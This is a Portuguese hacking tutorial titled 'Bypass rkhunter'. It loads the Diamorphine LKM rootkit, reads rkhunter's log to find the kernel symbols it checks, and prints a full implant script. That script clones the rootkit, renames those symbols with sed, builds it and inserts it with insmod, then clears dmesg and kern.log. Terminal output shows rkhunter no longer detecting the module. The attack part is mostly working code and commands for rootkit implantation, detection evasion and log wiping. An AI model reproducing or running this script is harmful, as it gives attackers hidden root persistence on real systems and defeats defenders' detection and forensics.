#############################################################
    # 				/usr/bin/rkhunter --check	                    #
    #⠀⠀⠀ ⢰⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀					            #
    #⠀⠀⠀ ⠘⡇⠀⠀⠀⢠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀					    #
    #⠀⠀⠀⠀ ⢷⠀⢠⢣⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀					    #
    #⠀⠀⠀⠀ ⢘⣷⢸⣾⣇⣶⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀					    #
    #⠀⠀⠀⠀⠀ ⣿⣿⣿⣹⣿⣿⣷⣿⣆⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀					    #
    #⠀⠀⠀⠀⠀ ⢼⡇⣿⣿⣽⣶⣶⣯⣭⣷⣶⣿⣿⣶⠀⠀⠀⠀⠀⠀⠀   MatheuZ presents                              #
    #⠀⠀⠀⠀⠀ ⠸⠣⢿⣿⣿⣿⣿⡿⣛⣭⣭⣭⡙⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀					    #
    #⠀⠀⠀⠀⠀⠀⠀ ⠸⣿⣿⣿⣿⣿⠿⠿⠿⢯⡛⠀⠀⠀⠀⠀⠀⠀// Linux Defense Evasion	                    #
    #⠀⠀⠀⠀⠀⠀ ⠀⠀⢠⣿⣿⣿⣿⣾⣿⡿⡷⢿⡄⠀⠀⠀⠀⠀⠀⠀// Bypass rkhunter		                    #
    #⠀⠀⠀⠀⠀ ⠀⠀⡔⣺⣿⣿⣽⡿⣿⣿⣿⣟⡳⠦⠀⠀⠀⠀⠀						    #
    #⠀⠀⠀⠀ ⠀⠀⢠⣭⣾⣿⠃⣿⡇⣿⣿⡷⢾⣭⡓⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀					    #
    #⠀⠀⠀ ⠀⠀⠀⣾⣿⡿⠷⣿⣿⡇⣿⣿⣟⣻⠶⣭⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀					    #
    #⠀⠀ ⠀⠀⠀⠀⣋⣵⣞⣭⣮⢿⣧⣝⣛⡛⠿⢿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀					    #
    #⠀ ⣀⣀⣠⣶⣿⣿⣿⣿⡿⠟⣼⣿⡿⣟⣿⡇⠀⠙⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀					    #
    # ⡼⣿⣿⣿⢟⣿⣿⣿⣷⡿⠿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀					    #
    #⠀⠀⠉⠁⠀⢉⣭⣭⣽⣯⣿⣿⢿⣫⣮⣅⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀						    #
    #⠀⠀⠀⠀⢀⣿⣟⣽⣿⣿⣿⣿⣾⣿⣿⣯⡛⠻⢷⣶⣤⣄⡀⠀⠀⠀⠀⠀⠀⠀						    #
    #⠀⠀⠀⢀⡞⣾⣿⣿⣿⣿⡟⣿⣿⣽⣿⣿⡿⠀⠀⠀⠈⠙⠛⠿⣶⣤⣄⡀⠀⠀						    #
    #⠀⠀⠀⣾⣸⣿⣿⣷⣿⣿⢧⣿⣿⣿⣿⣿⣷⠁⠀⠀⠀⠀⠀⠀⠀⠈⠙⠻⢷⣦						    #
    #⠀⠀⠀⡿⣛⣛⣛⣛⣿⣿⣸⣿⣿⣿⣻⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀						    #
    #⠀⠀⢸⡇⣿⣿⣿⣿⣿⡏⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀						    #
    #⠀⠀⠀⢰⣶⣶⣶⣾⣿⢃⣿⣿⣿⣿⣯⣿⣭⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀						    #
    #############################################################                                                              
    
    
    ----( Table of contents )----
    
    1 - O que é um rootkit LKM?
    2 - O que é o rkhunter?
    3 - Como os antivirus baseados em assinatura e os rootkit checkers funcionam.
    4 - Apresentando o rootkit diamorphine (criado pelo m0nad) e usando o rkhunter.
    5 - Se aproveitando dos logs do rkhunter para poder efetuar o bypass.
    5 - Finalização.
    
    
    
    
    
    ---[  O que é um rootkit LKM? ]---
    
    Um rootkit LKM (Loadable Kernel Module) é um software malicioso que se instala no nível do kernel, chamado ring0 (nível do kernel). Ele permite que o atacante ganhe total controle do sistema, ocultando suas ações e sendo difícil de detectar e remover. 
    
    As técnicas usadas pelos LKM rootkits variam, mas algumas das mais "comuns" são:
    
    1. Hooking: Modifica as tabelas de ponteiros do kernel para desviar a execução de certas funções e ocultar sua presença.
    
    2. Ocultar processos e arquivos: Manipula as listas de arquivos e processos do sistema para ocultar arquivos e processos.
    
    3. Modificação do sistema de arquivos: Pode alterar os resultados de comandos como "ls" para não mostrar certos arquivos ou diretórios.
    
    4. Interceptação de chamadas (intercept syscalls) ao sistema: Intercepta e modifica as chamadas do sistema (syscalls) para evitar detecção, permitir ações maliciosas, e também para poder manter sua persistência.
    
    Esses são alguns dos tipos de "features/técnicas" mais comuns e usados em um rootkit LKM, pois existem várias outras técnicas.
    
    
    
    ---[  O que é o rkhunter? ]---
    
    O rkhunter (Rootkit Hunter) é uma ferramenta de segurança projetada para sistemas Linux/Unix. Ele escaneia e identifica rootkits, malware e atividades maliciosas comparando os dados do sistema com um banco de dados de assinaturas de ameaças. Embora seja bem útil, não é infalível, pois o rkhunter é baseado em assinatura e é bastante fácil de efetuar um bypass, isso deve ser complementado com outras ferramentas e práticas de segurança para garantir uma proteção mais "eficaz" do sistema.
    
    
    ---[  Como os antivirus baseados em assinatura e os rootkit checkers funcionam. ]---
    
    
    Um antivírus baseado em assinatura é um software de segurança que procura por padrões de malware já conhecidos em arquivos,
    processos e diretório. 
    
    Ele usa uma assinatura atualizada regularmente banco de dados para identificar e eliminar ameaças que já são conhecidas. 
    
    Esse tipo de antivírus requer atualizações bastante frequentes para acompanhar com novas ameaças, mas pode sofrer bastante para detectar ameaças desconhecidas e variantes de malware.
    
    Em resumo, antivirus com base em assinatura é eficaz contra ameaças que já são conhecidas, mas têm uma grande limitação na detecção de ameaças personalizadas ou desconhecidas;
    
    Já os "rootkit checkers" são ferramentas que buscam identificar rootkits, que são tipos de malware que tem como objetivo principal se esconder. Essas ferramentas usam assinaturas, que são padrões únicos associados a rootkits que ja são conhecidos, para identificar a presença desses programas maliciosos.
    
    Eles examinam os arquivos, processos e registros do sistema em busca de correspondências com as assinaturas em um banco de dados. Se encontram uma correspondência, alertam o usuário ou tomam medidas para remover ou neutralizar o rootkit. 
    
    No entanto, essa abordagem tem limitações, pois não consegue detectar rootkits novos ou sofisticados que não correspondam às assinaturas conhecidas.
    
    
    ---[  Apresentando o rootkit diamorphine (criado pelo m0nad) e usando o rkhunter ]---
    
    o rootkit diamorphine é um projeto de código aberto (opensource) criado pelo m0nad.
    
    O diamorphine é um LKM (Loadable Kernel Module), uma feature interessante do diamorphine é que quando ele é carregado, ele se auto esconde, então você não pode ver o módulo usando "lsmod" por exemplo.
    
    O diamorphine também faz um "hook" no kill, que é como o seu manipulador, nele vocẽ tem como usar o "kill -31 PID" pra ocultar um processo, "kill -63 0" para fazer o rootkit reaparecer e se esconder novamente, "kill -64 0" para poder se tornar root mesmo você sendo um usuário comum e com minimo privilégio possível.
    
    Além disso, o diamorphine tem um "MAGIC_PREFIX", que quando você cria um diretório chamado "diamorphine_secret_test" que ele esconde
    de "ls" e qualquer comando que possa imprimir diretórios na tela e conteúdo em uma pasta.
    
    Isso acontece por que o diamorphine faz um hooking na syscall "getdents" e na "getdents64". E com essa implementação o rootkit "intercepta" as chamadas para getdents e getdents64, modificando os resultados retornados. Assim, quando um comando como "ls" é executado, o rootkit oculta os diretórios maliciosos da listagem, tornando-os invisíveis para o usuário e para as ferramentas padrão do sistema.
    
    [  ] Agora vamos baixar o rootkit diamorphine em nossa máquina:
    
    ◣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◢
    kali@kali /var/tmp/.cache
    ❯ git clone https://github.com/m0nad/Diamorphine
    Cloning into 'Diamorphine'...
    remote: Enumerating objects: 141, done.
    remote: Counting objects: 100% (65/65), done.
    remote: Compressing objects: 100% (23/23), done.
    remote: Total 141 (delta 53), reused 42 (delta 42), pack-reused 76
    Receiving objects: 100% (141/141), 32.26 KiB | 2.30 MiB/s, done.
    Resolving deltas: 100% (77/77), done.
    kali@kali /var/tmp/.cache
    ❯ cd Diamorphine/
    kali@kali /var/tmp/.cache/Diamorphine (master)
    ❯ ls
    diamorphine.c  diamorphine.h  LICENSE.txt  Makefile  README.md
    kali@kali /var/tmp/.cache/Diamorphine (master)
    ❯ make
    make -C /lib/modules/6.1.0-kali7-amd64/build M=/var/tmp/.cache/Diamorphine modules
    make[1]: Entering directory '/usr/src/linux-headers-6.1.0-kali7-amd64'
      CC [M]  /var/tmp/.cache/Diamorphine/diamorphine.o
      MODPOST /var/tmp/.cache/Diamorphine/Module.symvers
      CC [M]  /var/tmp/.cache/Diamorphine/diamorphine.mod.o
      LD [M]  /var/tmp/.cache/Diamorphine/diamorphine.ko
      BTF [M] /var/tmp/.cache/Diamorphine/diamorphine.ko
    Skipping BTF generation for /var/tmp/.cache/Diamorphine/diamorphine.ko due to unavailability of vmlinux
    make[1]: Leaving directory '/usr/src/linux-headers-6.1.0-kali7-amd64'
    kali@kali /var/tmp/.cache/Diamorphine (master)
    ❯ sudo insmod diamorphine.ko
    kali@kali /var/tmp/.cache/Diamorphine (master)
    ❯ lsmod|grep diamorphine
    kali@kali /var/tmp/.cache/Diamorphine (master) [1]
    ❯
    ◤━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◥
    
    [  ] Bom, agora com o rootkit carregado, vamos testar o rkhunter para ver se ele consegue detectar o rootkit diamorphine.
    
    ◣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◢
    Checking for rootkits...
    
      Performing check of known rootkit files and directories
        55808 Trojan - Variant A                                 [ Not found ]
        ADM Worm                                                 [ Not found ]
        AjaKit Rootkit                                           [ Not found ]
        Adore Rootkit                                            [ Not found ]
        aPa Kit                                                  [ Not found ]
        Apache Worm                                              [ Not found ]
        Ambient (ark) Rootkit                                    [ Not found ]
        Balaur Rootkit                                           [ Not found ]
        BeastKit Rootkit                                         [ Not found ]
        beX2 Rootkit                                             [ Not found ]
        BOBKit Rootkit                                           [ Not found ]
        cb Rootkit                                               [ Not found ]
        CiNIK Worm (Slapper.B variant)                           [ Not found ]
        Danny-Boy's Abuse Kit                                    [ Not found ]
        Devil RootKit                                            [ Not found ]
        Diamorphine LKM                                          [ Not found ]
        Dica-Kit Rootkit                                         [ Not found ]
        Dreams Rootkit                                           [ Not found ]
    ◤━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◥
    
    Podemos perceber que mesmo com o rootkit diamorphine carregado, e sem alterar nenhuma função no código, o rkhunter não conseguiu detectar o diamorphine.
    
    - Mas por que isso acontece?
    
    Bom, a respota é bem simples! O rkhunter não conseguiu detectar pois o diamorphine está escondido, então se ele está escondido, certamente o rkhunter não irá conseguir detectar, isso é uma vantagem muito boa que o diamorphine tem! Que é quando inserido, ele se auto esconder.
    
    - Mas e se fizermos o rootkit reaparecer? O rkhunter vai conseguir detectar?
    
    A resposta é sim! Mas primeiro temos que fazer o rootkit diamorphine reaparecer:
    
    ◣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◢
    kali@kali /var/tmp/.cache/Diamorphine (master)
    ❯ kill -63 0
    kali@kali /var/tmp/.cache/Diamorphine (master)
    ❯ lsmod|grep diamorphine
    diamorphine            16384  0
    kali@kali /var/tmp/.cache/Diamorphine (master)
    ❯
    ◤━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◥
    
    
    [  ] Agora vamos rodar o rkhunter outra:
    
    ◣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◢
    Checking for rootkits...
    
      Performing check of known rootkit files and directories
        55808 Trojan - Variant A                                 [ Not found ]
        ADM Worm                                                 [ Not found ]
        AjaKit Rootkit                                           [ Not found ]
        Adore Rootkit                                            [ Not found ]
        aPa Kit                                                  [ Not found ]
        Apache Worm                                              [ Not found ]
        Ambient (ark) Rootkit                                    [ Not found ]
        Balaur Rootkit                                           [ Not found ]
        BeastKit Rootkit                                         [ Not found ]
        beX2 Rootkit                                             [ Not found ]
        BOBKit Rootkit                                           [ Not found ]
        cb Rootkit                                               [ Not found ]
        CiNIK Worm (Slapper.B variant)                           [ Not found ]
        Danny-Boy's Abuse Kit                                    [ Not found ]
        Devil RootKit                                            [ Not found ]
        Diamorphine LKM                                          [ Warning ]
        Dica-Kit Rootkit                                         [ Not found ]
    ◤━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◥
    
    Bem como esperado, o rkhunter detectou o rootkit diamorphine.
    
    - Mas como saber exatamente o que o rkhunter busca, por quais strings exatas? por quais assinaturas?
    
    Por padrão após rodar o rkhunter para fazer uma verificação, ele guarda seus logs em "/var/log/rkhunter.log", e nós podemos visualizar este arquivo de logs e descobrir por quais assinaturas ele procura pelas ameaças já conhecidas.
    
    ◣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◢
    [16:15:05] Checking for Diamorphine LKM...
    [16:15:05]   Checking for kernel symbol 'diamorphine'        [ Found ]
    [16:15:05]   Checking for kernel symbol 'module_hide'        [ Found ]
    [16:15:06]   Checking for kernel symbol 'module_hidden'      [ Found ]
    [16:15:06]   Checking for kernel symbol 'is_invisible'       [ Found ]
    [16:15:06]   Checking for kernel symbol 'hacked_getdents'    [ Found ]
    [16:15:06]   Checking for kernel symbol 'hacked_kill'        [ Found ]
    [16:15:06] Warning: Diamorphine LKM                          [ Warning ]
    [16:15:06]          Kernel symbol 'diamorphine' found
    [16:15:07]          Kernel symbol 'module_hide' found
    [16:15:07]          Kernel symbol 'module_hidden' found
    [16:15:07]          Kernel symbol 'is_invisible' found
    [16:15:07]          Kernel symbol 'hacked_getdents' found
    [16:15:07]          Kernel symbol 'hacked_kill' found
    [16:15:07]
    ◤━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◥
    
    Agora que sabemos exatamente as assinaturas e as strings que o rkhunter procura pelo diamorphine rootkit, nós podemos tirar um grande aproveito disso para podermos efetuar um bypass.
    
    
    ---[  Se aproveitando dos logs do rkhunter para poder efetuar o bypass.  ]---
    
    Para poder mostrar esse bypass no rkhunter usando o rootkit diamorphine de exemplo, irei usar minha ferramenta com o foco em persistência chamada "D3m0n1z3dShell" - "https://github.com/MatheuZSecurity/D3m0n1z3dShell".
    
    ◣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◢
    kali@kali /var/tmp/.cache/D3m0n1z3dShell (main)
    ❯ chmod +x implant_rootkit.sh
    kali@kali /var/tmp/.cache/D3m0n1z3dShell (main)
    ❯ cat implant_rootkit.sh
    #!/bin/bash
    
    if [[ $(id -u) -ne 0 ]]; then
        echo "[ERROR] You must run this script as root" >&2
        exit 1
    fi
    
    command -v insmod >/dev/null 2>&1 || { echo >&2 "[ERROR] insmod command not found. Please install it."; exit 1; }
    command -v gcc >/dev/null 2>&1 || { echo >&2 "[ERROR] gcc command not found. Please install it."; exit 1; }
    
    dir() {
        mkdir -p  /var/tmp/.cache
    }
    
    get_rootkit(){
        git clone https://github.com/m0nad/Diamorphine /var/tmp/.cache
    }
    
    modify_rk(){
        mv /var/tmp/.cache/diamorphine.c /var/tmp/.cache/rk.c
        mv /var/tmp/.cache/diamorphine.h /var/tmp/.cache/rk.h
        sed -i 's/diamorphine_secret/demonized/g' /var/tmp/.cache/rk.h
        sed -i 's/diamorphine/demonizedmod/g' /var/tmp/.cache/rk.h
        sed -i 's/63/62/g' /var/tmp/.cache/rk.h
        sed -i 's/diamorphine.h/rk.h/g' /var/tmp/.cache/rk.c
        sed -i 's/diamorphine_init/rk_init/g' /var/tmp/.cache/rk.c
        sed -i 's/diamorphine_cleanup/rk_cleanup/g' /var/tmp/.cache/rk.c
        sed -i 's/diamorphine.o/rk.o/g' /var/tmp/.cache/Makefile
        sed -i 's/module_hide/module_h1dd3/g' /var/tmp/.cache/rk.c
        sed -i 's/module_hidden/module_h1dd3n/g' /var/tmp/.cache/rk.c
        sed -i 's/is_invisible/e_invisible/g' /var/tmp/.cache/rk.c
        sed -i 's/hacked_getdents/hack_getdents/g' /var/tmp/.cache/rk.c
        sed -i 's/hacked_kill/h4ck_kill/g' /var/tmp/.cache/rk.c
    }
    
    make_rk(){
        make -C /var/tmp/.cache/
    }
    
    load_rk(){
        insmod /var/tmp/.cache/rk.ko
    }
    
    clean_files(){
        make clean -C /var/tmp/.cache/
        rm -rf /var/tmp/.cache
    }
    
    remove_logs(){
        dmesg -C
        echo "" > /var/log/kern.log
    }
    
    clear
    
    dir && get_rootkit && modify_rk && make_rk && load_rk && clean_files && remove_logs /
    
    clear
    
    scs="[*] Success! Rootkit has been implanted. [*]"
    
    for i in $(seq 1 ${#scs}); do
            echo -ne "${scs:i-1:1}"
            sleep 0.08
    done
    
    echo -ne "\n"
    
    clear
    kali@kali /var/tmp/.cache/D3m0n1z3dShell (main)
    ❯
    ◤━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◥
    
    Bom, resumidamente neste script além de criar o diretório e clonar o repositório do diamorphine, nós vamos trocar o nome do diamorphine.c, diamorphine.h, e substutuir as strings/assinatura que o rkhunter detecta no diamorphine assim como está nos logs, e subsituir por outros nomes.
    
    Bom, agora é so rodar o script que já faz tudo automaticamente.
    
    ◣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◢
    kali@kali ~
    ❯ kill -62 0
    kali@kali ~
    ❯ lsmod|grep rk
    rk                     16384  0
    kali@kali ~
    ❯
    ◤━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◥
    
    Agora com o rootkit visível, vamos rodar o rkhunter e depois visualizar os logs para ver se ele realmente encontra o diamorphine após fazer essas mudanças.
    
    ◣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◢
    Checking for rootkits...
    
      Performing check of known rootkit files and directories
        55808 Trojan - Variant A                                 [ Not found ]
        ADM Worm                                                 [ Not found ]
        AjaKit Rootkit                                           [ Not found ]
        Adore Rootkit                                            [ Not found ]
        aPa Kit                                                  [ Not found ]
        Apache Worm                                              [ Not found ]
        Ambient (ark) Rootkit                                    [ Not found ]
        Balaur Rootkit                                           [ Not found ]
        BeastKit Rootkit                                         [ Not found ]
        beX2 Rootkit                                             [ Not found ]
        BOBKit Rootkit                                           [ Not found ]
        cb Rootkit                                               [ Not found ]
        CiNIK Worm (Slapper.B variant)                           [ Not found ]
        Danny-Boy's Abuse Kit                                    [ Not found ]
        Devil RootKit                                            [ Not found ]
        Diamorphine LKM                                          [ Not found ]
        Dica-Kit Rootkit                                         [ Not found ]
    ^C⏎                                                                                                                                  kali@kali ~ [130]
    ❯ lsmod|grep rk
    rk                     16384  0
    kali@kali ~
    ❯
    ◤━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◥
    
    
    [  ] Logs do rkhunter
    
    
    ◣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◢
    [16:47:57] Checking for Diamorphine LKM...
    [16:47:58]   Checking for kernel symbol 'diamorphine'        [ Not found ]
    [16:47:58]   Checking for kernel symbol 'module_hide'        [ Not found ]
    [16:47:58]   Checking for kernel symbol 'module_hidden'      [ Not found ]
    [16:47:58]   Checking for kernel symbol 'is_invisible'       [ Not found ]
    [16:47:58]   Checking for kernel symbol 'hacked_getdents'    [ Not found ]
    [16:47:59]   Checking for kernel symbol 'hacked_kill'        [ Not found ]
    [16:47:59] Diamorphine LKM                                   [ Not found ]
    [16:47:59]
    ◤━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◥
    
    E pronto! dessa vez mesmo com o rootkit visível, o rkhunter não conseguiu detectá-lo, por que graças aos logs conseguimos obter as exatas assinaturas/strings que o rkhunter usa para poder detectar o rootkit diamorphine que usei neste exemplo.
    
    [  ] Bônus
    
    É interessante sabermos que quando trocamos qualquer string, função etc, de um código, de um txt, e etc, a sua assinatura ela muda, como por exemplo:
    
    ◣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◢
    kali@kali ~
    ❯ echo "assinatura inicial" > assinatura.txt
    kali@kali ~
    ❯ sha256sum assinatura.txt && md5sum assinatura.txt
    87c5b2999d0af090b93fe4aac2a9e50e70c59796cbfad7c6cacbd0b3c05a457f  assinatura.txt
    50d393f39aa9f293de141703f26c3344  assinatura.txt
    kali@kali ~
    ❯ echo "outra assinatura" > assinatura.txt
    kali@kali ~
    ❯ sha256sum assinatura.txt && md5sum assinatura.txt
    30adbc3130169d4aa222342c0d79f1f7b2b11fe227fc1490299714378a3525d9  assinatura.txt
    da9a8c2592e3f49760e125cc3d174f66  assinatura.txt
    kali@kali ~
    ❯
    ◤━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━◥
    
    ---[  Finalização ]---
    
    Bom pessoal, quero agradecer a todos que leram este paper, para quaisquer dúvidas estou disponível para poder ajudá-los, bom até a próxima! Cya hackers xD.
    
    
    
                 ,----------------,              ,---------,
            ,-----------------------,          ,"        ,"|
          ,"                      ,"|        ,"        ,"  |
         +-----------------------+  |      ,"        ,"    |
         |  .-----------------.  |  |     +---------+      |
         |  |                 |  |  |     | -==----'|      |
         |  |  kill `ps aux`; |  |  |     |         |      |
         |  |                 |  |  |/----|`---=    |      |
         |  | lost connection.|  |  |   ,/|==== ooo |      ;
         |  |                 |  |  |  // |(((( [33]|    ,"
         |  `-----------------'  |," .;'| |((((     |  ,"
         +-----------------------+  ;;  | |         |,"     - Matheuz.
            /_)______________(_/  //'   | +---------+
       ___________________________/___  `,
      /  oooooooooooooooo  .o.  oooo /,   \,"-----------
     / ==ooooooooooooooo==.o.  ooo= //   ,`\--{)B     ,"
    /_==__==========__==_ooo__ooo=_/'   /___________,"
    `-----------------------------'